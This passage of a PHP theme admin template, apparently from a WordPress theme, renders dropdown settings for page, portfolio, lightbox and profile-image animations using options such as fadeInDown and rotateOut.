$safe_mod_page_in_animation == 'fadeInDown' ) { echo 'selected=\"selected\"'; } ?>>fadeInDown</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'fadeInLeft' ) { echo 'selected=\"selected\"'; } ?>>fadeInLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'fadeInRight' ) { echo 'selected=\"selected\"'; } ?>>fadeInRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'fadeInUpBig' ) { echo 'selected=\"selected\"'; } ?>>fadeInUpBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'fadeInDownBig' ) { echo 'selected=\"selected\"'; } ?>>fadeInDownBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'fadeInLeftBig' ) { echo 'selected=\"selected\"'; } ?>>fadeInLeftBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'fadeInRightBig' ) { echo 'selected=\"selected\"'; } ?>>fadeInRightBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'bounceIn' ) { echo 'selected=\"selected\"'; } ?>>bounceIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'bounceInDown' ) { echo 'selected=\"selected\"'; } ?>>bounceInDown</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'bounceInUp' ) { echo 'selected=\"selected\"'; } ?>>bounceInUp</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'bounceInLeft' ) { echo 'selected=\"selected\"'; } ?>>bounceInLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'bounceInRight' ) { echo 'selected=\"selected\"'; } ?>>bounceInRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'rotateIn' ) { echo 'selected=\"selected\"'; } ?>>rotateIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'rotateInDownLeft' ) { echo 'selected=\"selected\"'; } ?>>rotateInDownLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'rotateInDownRight' ) { echo 'selected=\"selected\"'; } ?>>rotateInDownRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'rotateInUpLeft' ) { echo 'selected=\"selected\"'; } ?>>rotateInUpLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'rotateInUpRight' ) { echo 'selected=\"selected\"'; } ?>>rotateInUpRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'lightSpeedIn' ) { echo 'selected=\"selected\"'; } ?>>lightSpeedIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'rollIn' ) { echo 'selected=\"selected\"'; } ?>>rollIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tDetermines the animation type for page transitions when in safe mode.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Portfolio Single Page-in Animation</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ( get_option( 'pf_details_page_in_animation' ) )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$pf_details_page_in_animation = get_option( 'pf_details_page_in_animation' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$pf_details_page_in_animation = 'fadeInLeft';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"pf_details_page_in_animation\" name=\"pf_details_page_in_animation\" style=\"width: 100%;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == \"\" ) { echo 'selected=\"selected\"'; } ?>></option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'flash' ) { echo 'selected=\"selected\"'; } ?>>flash</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'bounce' ) { echo 'selected=\"selected\"'; } ?>>bounce</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'shake' ) { echo 'selected=\"selected\"'; } ?>>shake</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'tada' ) { echo 'selected=\"selected\"'; } ?>>tada</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'swing' ) { echo 'selected=\"selected\"'; } ?>>swing</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'wobble' ) { echo 'selected=\"selected\"'; } ?>>wobble</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'wiggle' ) { echo 'selected=\"selected\"'; } ?>>wiggle</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'pulse' ) { echo 'selected=\"selected\"'; } ?>>pulse</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'flip' ) { echo 'selected=\"selected\"'; } ?>>flip</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'flipInX' ) { echo 'selected=\"selected\"'; } ?>>flipInX</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'flipInY' ) { echo 'selected=\"selected\"'; } ?>>flipInY</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'fadeIn' ) { echo 'selected=\"selected\"'; } ?>>fadeIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'fadeInUp' ) { echo 'selected=\"selected\"'; } ?>>fadeInUp</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'fadeInDown' ) { echo 'selected=\"selected\"'; } ?>>fadeInDown</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'fadeInLeft' ) { echo 'selected=\"selected\"'; } ?>>fadeInLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'fadeInRight' ) { echo 'selected=\"selected\"'; } ?>>fadeInRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'fadeInUpBig' ) { echo 'selected=\"selected\"'; } ?>>fadeInUpBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'fadeInDownBig' ) { echo 'selected=\"selected\"'; } ?>>fadeInDownBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'fadeInLeftBig' ) { echo 'selected=\"selected\"'; } ?>>fadeInLeftBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'fadeInRightBig' ) { echo 'selected=\"selected\"'; } ?>>fadeInRightBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'bounceIn' ) { echo 'selected=\"selected\"'; } ?>>bounceIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'bounceInDown' ) { echo 'selected=\"selected\"'; } ?>>bounceInDown</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'bounceInUp' ) { echo 'selected=\"selected\"'; } ?>>bounceInUp</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'bounceInLeft' ) { echo 'selected=\"selected\"'; } ?>>bounceInLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'bounceInRight' ) { echo 'selected=\"selected\"'; } ?>>bounceInRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'rotateIn' ) { echo 'selected=\"selected\"'; } ?>>rotateIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'rotateInDownLeft' ) { echo 'selected=\"selected\"'; } ?>>rotateInDownLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'rotateInDownRight' ) { echo 'selected=\"selected\"'; } ?>>rotateInDownRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'rotateInUpLeft' ) { echo 'selected=\"selected\"'; } ?>>rotateInUpLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'rotateInUpRight' ) { echo 'selected=\"selected\"'; } ?>>rotateInUpRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'lightSpeedIn' ) { echo 'selected=\"selected\"'; } ?>>lightSpeedIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_in_animation == 'rollIn' ) { echo 'selected=\"selected\"'; } ?>>rollIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tDetermines the animation type for ajax portfolio details page in animation.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Portfolio Single Page-out Animation</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ( get_option( 'pf_details_page_out_animation' ) )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$pf_details_page_out_animation = get_option( 'pf_details_page_out_animation' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$pf_details_page_out_animation = 'fadeOutRightBig';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"pf_details_page_out_animation\" name=\"pf_details_page_out_animation\" style=\"width: 100%;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == \"\" ) { echo 'selected=\"selected\"'; } ?>></option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'flipOutX' ) { echo 'selected=\"selected\"'; } ?>>flipOutX</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'flipOutY' ) { echo 'selected=\"selected\"'; } ?>>flipOutY</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'fadeOut' ) { echo 'selected=\"selected\"'; } ?>>fadeOut</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'fadeOutUp' ) { echo 'selected=\"selected\"'; } ?>>fadeOutUp</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'fadeOutDown' ) { echo 'selected=\"selected\"'; } ?>>fadeOutDown</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'fadeOutLeft' ) { echo 'selected=\"selected\"'; } ?>>fadeOutLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'fadeOutRight' ) { echo 'selected=\"selected\"'; } ?>>fadeOutRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'fadeOutUpBig' ) { echo 'selected=\"selected\"'; } ?>>fadeOutUpBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'fadeOutDownBig' ) { echo 'selected=\"selected\"'; } ?>>fadeOutDownBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'fadeOutLeftBig' ) { echo 'selected=\"selected\"'; } ?>>fadeOutLeftBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'fadeOutRightBig' ) { echo 'selected=\"selected\"'; } ?>>fadeOutRightBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'bounceOut' ) { echo 'selected=\"selected\"'; } ?>>bounceOut</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'bounceOutDown' ) { echo 'selected=\"selected\"'; } ?>>bounceOutDown</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'bounceOutUp' ) { echo 'selected=\"selected\"'; } ?>>bounceOutUp</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'bounceOutLeft' ) { echo 'selected=\"selected\"'; } ?>>bounceOutLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'bounceOutRight' ) { echo 'selected=\"selected\"'; } ?>>bounceOutRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'rotateOut' ) { echo 'selected=\"selected\"'; } ?>>rotateOut</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'rotateOutDownLeft' ) { echo 'selected=\"selected\"'; } ?>>rotateOutDownLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'rotateOutDownRight' ) { echo 'selected=\"selected\"'; } ?>>rotateOutDownRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'rotateOutUpLeft' ) { echo 'selected=\"selected\"'; } ?>>rotateOutUpLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'rotateOutUpRight' ) { echo 'selected=\"selected\"'; } ?>>rotateOutUpRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'lightSpeedOut' ) { echo 'selected=\"selected\"'; } ?>>lightSpeedOut</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'hinge' ) { echo 'selected=\"selected\"'; } ?>>hinge</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $pf_details_page_out_animation == 'rollOut' ) { echo 'selected=\"selected\"'; } ?>>rollOut</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tDetermines the animation type for ajax portfolio details page out animation.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Lightbox-in Animation</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ( get_option( 'lightbox_in_animation' ) )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$lightbox_in_animation = get_option( 'lightbox_in_animation' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$lightbox_in_animation = 'fadeInLeftBig';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"lightbox_in_animation\" name=\"lightbox_in_animation\" style=\"width: 100%;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == \"\" ) { echo 'selected=\"selected\"'; } ?>></option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'flash' ) { echo 'selected=\"selected\"'; } ?>>flash</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'bounce' ) { echo 'selected=\"selected\"'; } ?>>bounce</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'shake' ) { echo 'selected=\"selected\"'; } ?>>shake</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'tada' ) { echo 'selected=\"selected\"'; } ?>>tada</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'swing' ) { echo 'selected=\"selected\"'; } ?>>swing</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'wobble' ) { echo 'selected=\"selected\"'; } ?>>wobble</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'wiggle' ) { echo 'selected=\"selected\"'; } ?>>wiggle</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'pulse' ) { echo 'selected=\"selected\"'; } ?>>pulse</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'flip' ) { echo 'selected=\"selected\"'; } ?>>flip</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'flipInX' ) { echo 'selected=\"selected\"'; } ?>>flipInX</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'flipInY' ) { echo 'selected=\"selected\"'; } ?>>flipInY</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'fadeIn' ) { echo 'selected=\"selected\"'; } ?>>fadeIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'fadeInUp' ) { echo 'selected=\"selected\"'; } ?>>fadeInUp</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'fadeInDown' ) { echo 'selected=\"selected\"'; } ?>>fadeInDown</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'fadeInLeft' ) { echo 'selected=\"selected\"'; } ?>>fadeInLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'fadeInRight' ) { echo 'selected=\"selected\"'; } ?>>fadeInRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'fadeInUpBig' ) { echo 'selected=\"selected\"'; } ?>>fadeInUpBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'fadeInDownBig' ) { echo 'selected=\"selected\"'; } ?>>fadeInDownBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'fadeInLeftBig' ) { echo 'selected=\"selected\"'; } ?>>fadeInLeftBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'fadeInRightBig' ) { echo 'selected=\"selected\"'; } ?>>fadeInRightBig</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'bounceIn' ) { echo 'selected=\"selected\"'; } ?>>bounceIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'bounceInDown' ) { echo 'selected=\"selected\"'; } ?>>bounceInDown</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'bounceInUp' ) { echo 'selected=\"selected\"'; } ?>>bounceInUp</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'bounceInLeft' ) { echo 'selected=\"selected\"'; } ?>>bounceInLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'bounceInRight' ) { echo 'selected=\"selected\"'; } ?>>bounceInRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'rotateIn' ) { echo 'selected=\"selected\"'; } ?>>rotateIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'rotateInDownLeft' ) { echo 'selected=\"selected\"'; } ?>>rotateInDownLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'rotateInDownRight' ) { echo 'selected=\"selected\"'; } ?>>rotateInDownRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'rotateInUpLeft' ) { echo 'selected=\"selected\"'; } ?>>rotateInUpLeft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'rotateInUpRight' ) { echo 'selected=\"selected\"'; } ?>>rotateInUpRight</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'lightSpeedIn' ) { echo 'selected=\"selected\"'; } ?>>lightSpeedIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $lightbox_in_animation == 'rollIn' ) { echo 'selected=\"selected\"'; } ?>>rollIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tDetermines the animation type for lightbox in animation.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Profile Image Animation</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ( get_option( 'profile_image_animation' ) )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$profile_image_animation = get_option( 'profile_image_animation' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$profile_image_animation = 'rotate-left';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"profile_image_animation\" name=\"profile_image_animation\" style=\"width: 100%;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $profile_image_animation == 'fade' ) { echo 'selected=\"selected\"'; } ?>>fade</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $profile_image_animation == 'slide' ) { echo 'selected=\"selected\"'; } ?>>slide</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $profile_image_animation == 'rotate-down' ) { echo 'selected=\"selected\"'; } ?>>rotate-down</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $profile_image_animation == 'rotate-left' ) { echo 'selected=\"selected\"'; } ?>>rotate-left</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $profile_image_animation == 'rotate-right' ) { echo 'selected=\"selected\"'; } ?>>rotate-right</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $profile_image_animation == 'fly-out' ) { echo 'selected=\"selected\"'; } 